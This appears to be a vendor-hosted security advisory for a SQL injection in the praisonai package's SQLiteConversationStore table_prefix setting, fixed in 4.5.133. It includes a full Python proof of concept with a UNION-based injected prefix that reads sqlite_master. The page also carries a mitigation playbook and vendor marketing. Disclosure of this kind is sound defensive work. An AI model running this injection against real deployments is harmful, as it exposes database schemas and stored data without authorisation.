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GHSA-x783-xp3g-mqhp

GHSA-x783-xp3g-mqhp is a SQL Injection vulnerability in praisonai. O3 Security confirms whether GHSA-x783-xp3g-mqhp is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

Also known asCVE-2026-40315PYSEC-2026-2925
Published
Apr 10, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk22th percentile0.00%
0.00%0.27%0.53%0.80%0.0%0.0%0.3%0.3%0.3%May 26Jul 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍praisonai

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.


Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

  • Source: config.py (from_yaml / from_dict) accepts external configuration input

  • Propagation: factory.py (create_stores_from_config) passes conversation_options without validation

  • Sink: sqlite.py Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected = SQLiteConversationStore(
            path=db_path,
            table_prefix=injected_prefix,
            auto_create_tables=False,
        )

        injected_rows = injected.list_sessions(limit=10, offset=0)
        injected_ids = [row.session_id for row in injected_rows]

        print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
        print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")

        suspicious = any(
            x in injected_ids
            for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
        )

        if suspicious or len(injected_rows) > len(normal_rows):
            print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
            return 0

        print("[!] PoC inconclusive: no clear injected rows observed")
        return 2

    finally:
        try:
            os.remove(db_path)
            print("[+] temp db removed")
        except OSError:
            pass


if __name__ == "__main__":
    raise SystemExit(run_poc())

2. Expected Output

PoC Result The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.

3. Impact

  • SQL Identifier Injection
  • Query result manipulation
  • Internal schema disclosure

Exploitable when untrusted input can influence configuration.


Reference

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpraisonaiall versions4.5.133

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update praisonai to 4.5.133 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-x783-xp3g-mqhp is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-x783-xp3g-mqhp is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-x783-xp3g-mqhp. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The `table_prefix` configuration value is directly used to construct SQL table identifiers without validation. If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as `sqlite_master`) and tampering with query results. --- ### Details This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution. This occurs because `table_prefix` is passed from configuration (`from_yaml` / `from_dict`) into `SQLiteConversationStore` and d
O3 Security · Impact-Aware SCA

Is GHSA-x783-xp3g-mqhp in your dependencies?

O3 detects GHSA-x783-xp3g-mqhp across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.